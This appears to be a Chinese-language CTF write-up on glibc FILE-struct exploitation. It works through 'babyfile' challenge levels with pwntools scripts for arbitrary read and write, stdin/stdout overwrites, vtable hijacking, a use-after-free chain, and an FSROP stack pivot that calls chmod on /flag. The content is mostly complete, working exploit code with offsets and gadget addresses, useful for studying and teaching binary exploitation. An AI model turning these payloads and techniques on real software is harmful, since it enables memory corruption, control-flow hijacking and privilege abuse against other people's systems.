File Struct 利用手法

2025-04-21

1. 任意地址读

前提条件:能够控制file_struct结构体,且能调用fwrite函数

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

binary_path = "./babyfile_level1"
binary_path = "/challenge/babyfile_level1"
p = process(binary_path)
p.recvuntil(b"The flag has been read into memory and is located at ")
secret = int(p.recvline().strip(b"\n"),16)
log.success(f"secret: {hex(secret)}")

#利用部分,可以借助pwntools工具的强大库函数帮助我们生成想要的结构体,十分方便
file = FileStructure()
payload = file.write(secret,0x30)  
print(file)
"""
{ flags: 0x800
 _IO_read_ptr: 0x0
 _IO_read_end: 0x4040e0
 _IO_read_base: 0x0
 _IO_write_base: 0x4040e0
 _IO_write_ptr: 0x404110
 _IO_write_end: 0x0
 _IO_buf_base: 0x0
 _IO_buf_end: 0x0
 _IO_save_base: 0x0
 _IO_backup_base: 0x0
 _IO_save_end: 0x0
 markers: 0x0
 chain: 0x0
 fileno: 0x1
 _flags2: 0x0
 _old_offset: 0xffffffffffffffff
 _cur_column: 0x0
 _vtable_offset: 0x0
 _shortbuf: 0x0
 unknown1: 0x0
 _lock: 0x0
 _offset: 0xffffffffffffffff
 _codecvt: 0x0
 _wide_data: 0x0
 unknown2: 0x0
 vtable: 0x0
"""
p.send(payload)
p.interactive()

1.1 变体: 利用stdout来任意地址读

前提条件:能够修改stdout结构体,知道要泄露的地址,调用puts/printf等函数
核心思路还是没变。

1. 调用puts/printf等函数时,发现缓冲区已满,打印缓冲区
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level5"
binary_path = "/challenge/babyfile_level5"

p = process(binary_path)
p.recvuntil(b"The flag has been read into memory and is located at ")
secret_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"secret_addr: {hex(secret_addr)}")

p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
fp = FileStructure()
payload = fp.write(secret_addr,0x30)
p.send(payload)

p.interactive()

2. 任意地址写

前提条件:能够控制file_struct结构体,且能调用fread函数

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal = ["tmux","splitw","-h"]

binary_path = "./babyfile_level2"
#binary_path = "/challenge/babyfile_level2"

p = process(binary_path)
p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
#gdb.attach(p,"b *0x401A61")
#pause()

# file struct construction
file = FileStructure()
payload = file.read(0x4041F8,0x101) # 注意,read设置的buffer_size,必须大于fread读取的字节数;我猜测这么做的原因是,如果file_buf太小,就没必要拷贝到file_buf中了,直接拷贝到目标buffere中即可
print(file)
"""
{ flags: 0x0
 _IO_read_ptr: 0x0
 _IO_read_end: 0x0
 _IO_read_base: 0x0
 _IO_write_base: 0x0
 _IO_write_ptr: 0x0
 _IO_write_end: 0x0
 _IO_buf_base: 0x4041f8
 _IO_buf_end: 0x4041fc
 _IO_save_base: 0x0
 _IO_backup_base: 0x0
 _IO_save_end: 0x0
 markers: 0x0
 chain: 0x0
 fileno: 0x0
 _flags2: 0x0
 _old_offset: 0xffffffffffffffff
 _cur_column: 0x0
 _vtable_offset: 0x0
 _shortbuf: 0x0
 unknown1: 0x0
 _lock: 0x0
 _offset: 0xffffffffffffffff
 _codecvt: 0x0
 _wide_data: 0x0
 unknown2: 0x0
 vtable: 0x0}
"""
print(payload)
p.send(payload)

p.recvuntil(b"Here is the contents of the FILE structure.")
p.send(b"a"*0x100)
p.interactive()

2.1 变体:利用stdin任意地址写

前提条件:能够修改stdin结构体,知道要泄露的地址,调用scanf等函数

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level6"
binary_path = "/challenge/babyfile_level6"

p = process(binary_path)
#gdb.attach(p,"b *0x401A3F")

p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
fp = FileStructure()
payload = fp.read(0x4041F8,0x30)
p.send(payload)

p.recvuntil(b"Please log in.")
p.send(b"\x01\n")
p.interactive()

3. 劫持vtable

前提条件: 1、知道libc地址和可控的内存地址 2、能修改FILE结构体

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level7"
binary_path = "/challenge/babyfile_level7"
p = process(binary_path)
# gdb.attach(p,"b fwrite")
# pause()

# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420 


# 2. get control_mem addr
p.recvuntil(b"[LEAK] The name buffer is located at: ")
buf_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"buf_addr: {hex(buf_addr)}")

# 3. construct fake wide_data and vtable
win_addr = 0x4012E6
p.recvuntil(b"Please enter your name.")
payload = b"\x00"*0x68+p64(win_addr)+b"\x00"*(0xe0-0x70)+p64(buf_addr)
p.send(payload)

# 4. construct file_struct
p.recvuntil(b"Now reading from stdin directly to the FILE struct.")
fp = FileStructure()
fp._lock = buf_addr #  *buf_addr = 0
fp._wide_data = buf_addr
fp.vtable = libc_base+0x1E8F78-0x38
p.send(bytes(fp))
# p.send(fp)

p.interactive()

3.1 变种1: 只有一个内存空间可写时,如何同时构造file_struct和vtable

在这种情况下,因为要在一个内存内同时构造多个结构,熟悉file_struct中各个地址的布局就很重要:

fp -> 0x377f73b0
0x00	_flags 			*0x377f73b0 = 0xfbad2484
0x08	_IO_read_ptr 		*0x377f73b8 = (nil)
0x10	_IO_read_end 		*0x377f73c0 = (nil)
0x18	_IO_read_base 		*0x377f73c8 = (nil)
0x20	_IO_write_base 		*0x377f73d0 = (nil)
0x28	_IO_write_ptr 		*0x377f73d8 = (nil)
0x30	_IO_write_end 		*0x377f73e0 = (nil)
0x38	_IO_buf_base 		*0x377f73e8 = (nil)
0x40	_IO_buf_end 		*0x377f73f0 = (nil)
0x48	_IO_save_base 		*0x377f73f8 = (nil)
0x50	_IO_backup_base 	*0x377f7400 = (nil)
0x58	_IO_save_end 		*0x377f7408 = (nil)
0x60	_markers 		*0x377f7410 = (nil)
0x68	_chain 			*0x377f7418 = 0x7b96880295c0
0x70	_fileno 		*0x377f7420 = 3
0x74	_flags2 		*0x377f7424 = 0
0x78	_old_offset 		*0x377f7428 = 0
0x80	_cur_column 		*0x377f7430 = 0
0x82	_vtable_offset 		*0x377f7432 = 0
0x83	_shortbuf 		*0x377f7433 = 51
0x88	_lock 			*0x377f7438 = 0x377f7490
0x90	_offset 		*0x377f7440 = -1
0x98	_codecvt 		*0x377f7448 = (nil)
0xa0	_wide_data 		*0x377f7450 = 0x377f74a0
0xa8	_freeres_list 		*0x377f7458 = (nil)
0xb0	_freeres_buf 		*0x377f7460 = (nil)
0xb8	__pad5 			*0x377f7468 = 0
0xc0	_mode 			*0x377f7470 = 0
0xc4	_unused2[20] 		*0x377f7474 = {0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}
0xd8    _vtable
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

binary_path = "./babyfile_level8"
#binary_path = "/challenge/babyfile_level8"
p = process(binary_path)
gdb.attach(p,"b fwrite")
pause()

# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420 


# 2. get buf_addr
p.recvuntil(b"[LEAK] You are writing to: ")
buf_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"buf_addr: {hex(buf_addr)}")


# 3. overwrife file_struct,construct vtable, _wide_data,
win_addr = 0x4012E6
fp = FileStructure()
fp._lock = buf_addr  # file_struct+0x88   #如果不想_lock破坏结构,可以让_lock写在程序的最底部,比如buf_addr+0xe8的位置。
fp._wide_data = buf_addr # file_struct+0xa0
fp.vtable = libc_base+0x1E8DF8-0x38 # file_struct+0xd8 = exploit_vtable1
fp.chain = win_addr  # exploit_vtable2 +0x68 = win_addr
payload = bytes(fp)+p64(buf_addr) # wide_data+0xe0 = exploit_vtable2
p.send(payload)
p.interactive()

3.2 变种2:覆盖stdout(IO_2_1_stdout) file结构体,同时构造file_struct和vtable

这种情况要求能够覆盖stdout file结构体,且执行printf/puts等函数
但是有个问题是你修改了stdout结构体后,几乎不可能输出内容了,所以这种情况最好还是能执行类似chmod 777 /flag类似的命令

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level9"
binary_path = "/challenge/babyfile_level9"
p = process(binary_path)
#gdb.attach(p,"b *0x401A16")
#pause()

# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420 
stdout_addr = libc_base +0x1ED6A0
log.success(f"stdout_addr: {hex(stdout_addr)}")

# 2. overwrife file_struct,construct vtable, _wide_data,
win_addr = 0x401866
fp = FileStructure()
fp._lock = stdout_addr  # file_struct+0x88
fp.vtable = libc_base+0x1E8DF8-0x38 # file_struct+0xd8
fp._wide_data = stdout_addr # file_struct+0xa0
fp.chain = win_addr  # exploit_vtable2 +0x68
payload = bytes(fp)+p64(stdout_addr) # wide_data+0xe0

p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
p.send(payload)
p.interactive()

4. 综合利用部分

所谓综合利用,大概就是堆分配+file_struct
多的就不说了,总之就是利用file_struct给予我们的任意地址读写能力,做事情

4.1 任意地址读

原理上没有差别

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level11"
binary_path = "/challenge/babyfile_level11"
p = process(binary_path)

def new_note(size):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
    p.sendline(b"new_note")
    p.recvuntil(b"How many bytes to the note?\n> ")
    p.sendline(str(size).encode())
    return

def open_file():
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
    p.sendline(b"open_file")
    return

def write_fp(fp):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
    p.sendline(b"write_fp")
    sleep(1)
    p.send(fp)

def write_file():
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
    p.sendline(b"write_file")

# 1. get target_addr
p.recvuntil(b"The flag has been read into memory and is located at ")
target_addr =  int(p.recvline().strip(b"\n"),16)
log.success(f"target_addr: {hex(target_addr)}")

# 2. malloc a buffer_addr
new_note(0x200)
p.recvuntil(b" = ")
buf_addr = int(p.recvuntil(b";").strip(b";"),16)
log.success(f"buf_addr: {hex(buf_addr)}")

# 3. file_structure addr
open_file()
p.recvuntil(b'fp = fopen(\"/tmp/babyfile.txt\", \"w\") = ')
fp_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"fp_addr: {hex(fp_addr)}")

# 4. change file_structure
fp = FileStructure()
payload =fp.write(target_addr,0x40)
write_fp(payload)

# 5. arbitrary read
write_file()

p.interactive()

4.2 任意地址写

一样的逻辑

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

binary_path = "./babyfile_level14"
#binary_path = "/challenge/babyfile_level14"

# def write_file(idx):
#     p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
#     p.sendline(b"write_file")
#     p.recvuntil(b"Which note? (0-10)\n> ")
#     p.sendline(str(idx).encode())

def pwn(i):
    def new_note(idx,size):
        p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
        p.sendline(b"new_note")
        p.recvuntil(b"Which note? (0-10)\n> ")
        p.sendline(str(idx).encode())
        p.recvuntil(b"How many bytes to the note?\n> ")
        p.sendline(str(size).encode())
        return

    def open_file():
        p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
        p.sendline(b"open_file")
        return

    def write_fp(fp):
        p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
        p.sendline(b"write_fp")
        sleep(1)
        p.send(fp)

    def read_file(idx):
        p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
        p.sendline(b"read_file")
        p.recvuntil(b"Which note? (0-10)\n> ")
        p.sendline(str(idx).encode())

    p = process(binary_path)
    # 1. get target_addr
    p.recvuntil(b"[LEAK] The address of cmd where you are writing to is: ")
    stack_addr =  int(p.recvline().strip(b"\n"),16)
    target_addr = stack_addr + 0x98
    log.success(f"target_addr: {hex(target_addr)}")
    gdb.attach(p,"b *$rebase(0x1F96)\n b *$rebase(0x2032)")
    pause()

    # 2. malloc a buffer & open a file
    new_note(0,0x2)
    open_file()

    # 3. hijack return_addr
    fp = FileStructure()
    payload = fp.read(target_addr,0x3)
    write_fp(payload)
    read_file(0)
    sleep(1)
    p.send(p8(0xc9)+p8((i<<4)|3))

    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):\n")
    p.sendline(b"quit")
    result = p.recvall(100) # 注意设置一个较大的等待时间,让我们有足够的时间调试进程,否则recvall结束后,进程会自动关闭,导致gdb无法追踪。
    if b"flag" in result:
        print(result)
    p.close()
    # p.interactive()

for i in range(16):
    pwn(i)

4.3 任意地址写_IO_2_1_stdout结构体,并进行任意地址读

前提是我们需要知道libc的地址以及我们要读的地址,并且能够利用file_struct的任意地址写能力,修改stdout的file_struct结构体

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level16"
binary_path = "/challenge/babyfile_level16"
p = process(binary_path)

def new_note(idx,size):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
    p.sendline(b"new_note")
    p.recvuntil(b"Which note? (0-10)\n> ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"How many bytes to the note?\n> ")
    p.sendline(str(size).encode())
    return

def open_file():
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
    p.sendline(b"open_file")
    return

def write_fp(fp):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
    p.sendline(b"write_fp")
    sleep(1)
    p.send(fp)

def read_file(idx):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
    p.sendline(b"read_file")
    p.recvuntil(b"Which note? (0-10)\n> ")
    p.sendline(str(idx).encode())


# 1. get libc_addr & target_buffer
p.recvuntil(b"The flag has been read into memory and is located at ")
target_buf = int(p.recvline().strip(b"\n"),16)
log.success(f"secret addr: {hex(target_buf)}")
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr - 0x84420

# 2. malloc a buffer & open a file
new_note(0,115)
open_file()
# gdb.attach(p,"b *0x401D00 ")
# pause()

# 3. arbitrary write to change stdout
stdout_addr = libc_base + 0x1ED6A0
fp = FileStructure()
payload = fp.read(stdout_addr,116)
print(f"len of payload1: {len(payload)}")
write_fp(payload)
read_file(0)
p.recvuntil(b"fread(notes")
fp = FileStructure()
payload = fp.write(target_buf,0x40)
print(f"len of payload2: {len(payload)}")
p.send(payload)

p.interactive()

4.4 结合uaf,进行任意地址读写

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

binary_path = "./babyfile_level17"
#binary_path = "/challenge/babyfile_level17"
p = process(binary_path)

def new_note(idx,size):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
    p.sendline(b"new_note")
    p.recvuntil(b"Which note? (0-10)\n> ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"How many bytes to the note?\n> ")
    p.sendline(str(size).encode())
    return

def open_file():
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
    p.sendline(b"open_file")
    return

def close_file():
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
    p.sendline(b"close_file")
    return

def open_flag():
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
    p.sendline(b"open_flag")
    return

def write_fp(fp):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
    p.sendline(b"write_fp")
    sleep(1)
    p.send(fp)

def read_file(idx):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
    p.sendline(b"read_file")
    p.recvuntil(b"Which note? (0-10)\n> ")
    p.sendline(str(idx).encode())

def write_file(idx):
    p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
    p.sendline(b"write_file")
    p.recvuntil(b"Which note? (0-10)\n> ")
    p.sendline(str(idx).encode())


# 1. malloc a buffer
new_note(0,0xe0)
p.recvuntil(b"notes[0] = ")
secret_addr = int(p.recvuntil(b";").strip(b";"),16)
log.success(f"secret_addr: {hex(secret_addr)}")

# 2. uaf: open file & close file, and open flag_file 
open_file()  # fp -> /tmp/babyfile.txt
close_file()
open_flag() # now fp -> /tmp/babyflag.txt
read_file(0) # now secret_buffer is flag

# 3. construct file_structure
fp = FileStructure()
payload = fp.write(secret_addr,0xe0)
write_fp(payload)
write_file(0)
#gdb.attach(p)
print(fp)
p.interactive()

4.5 vtable劫持利用手法(现在)变种: FSROP

劫持vtable可以劫持程序的控制流,在此基础之上,我们可以借助libc中的两条神秘gadget完成stack pivot,从而实现rop

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]

#binary_path = "./babyfile_level21"
binary_path = "/challenge/babyfile_level21"
p = process(binary_path)

p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr-0x84420
stderr_addr = libc_base + 0x1ED5C0
stdout_addr = libc_base + 0x1ED6A0
system_addr = libc_base + 0x52290

# special gadget1
"""
mov    rdx,QWORD PTR [rdi+0x8];
mov    QWORD PTR [rsp],rax
call   QWORD PTR [rdx+0x20]
"""
special_gadget1 = libc_base + 0x0000000000151bb0
# special gadget2
"""
.text:0000000000054F5D                 mov     rsp, [rdx+0A0h]
.text:0000000000054F64                 mov     rbx, [rdx+80h]
.text:0000000000054F6B                 mov     rbp, [rdx+78h]
.text:0000000000054F6F                 mov     r12, [rdx+48h]
.text:0000000000054F73                 mov     r13, [rdx+50h]
.text:0000000000054F77                 mov     r14, [rdx+58h]
.text:0000000000054F7B                 mov     r15, [rdx+60h]
.text:0000000000054F7F                 test    dword ptr fs:48h, 2
.text:0000000000054F8B                 jz      loc_55046

.text:0000000000055046                 mov     rcx, [rdx+0A8h]
.text:000000000005504D                 push    rcx
.text:000000000005504E                 mov     rsi, [rdx+70h]
.text:0000000000055052                 mov     rdi, [rdx+68h]
.text:0000000000055056                 mov     rcx, [rdx+98h]
.text:000000000005505D                 mov     r8, [rdx+28h]
.text:0000000000055061                 mov     r9, [rdx+30h]
.text:0000000000055065                 mov     rdx, [rdx+88h]
.text:0000000000055065 ; } // starts at 54F20
.text:000000000005506C ; __unwind {
.text:000000000005506C                 xor     eax, eax
.text:000000000005506E                 retn
"""
special_gadget2 = libc_base + 0x54f5d

stdout_fp = FileStructure()
stdout_fp._lock = stderr_addr
stdout_fp.vtable = libc_base + 0x1E8DF8 - 0x38
stdout_fp._wide_data = stdout_addr
stdout_fp.chain = special_gadget1
stdout_fp._IO_read_ptr = stderr_addr # stdout+0x8: mov    rdx,QWORD PTR [rdi+0x8];

stderr_fp = FileStructure()
stderr_fp.vtable = libc_base + 0x1e94a0 # just for fully generating file_struct(0xe0 size)
stderr_fp._IO_write_base = special_gadget2 # stderr+0x20: call   QWORD PTR [rdx+0x20]
stderr_fp._wide_data = stderr_addr+0xd8     #     mov     rsp, [rdx+0A0h]
stderr_fp.unknown2 = libc_base + 0x10DD80   #     chmod 
stderr_fp.chain = stderr_addr+  0x10        #     mov     rdi, [rdx+68h]
stderr_fp.fileno = 511                      #     mov     rsi, [rdx+70h]  
stderr_fp._IO_read_end = u64(b"/flag\x00\x00\x00")
payload = bytes(stderr_fp)+bytes(stdout_fp)+p64(stdout_addr)

# gdb.attach(p,"b *$rebase(0x13D3)")
# pause()
p.send(payload)
p.interactive()

原理可以参考:https://blog.kylebot.net/2022/10/22/angry-FSROP/
跟上时代之高版本GLIBC下堆利用(一)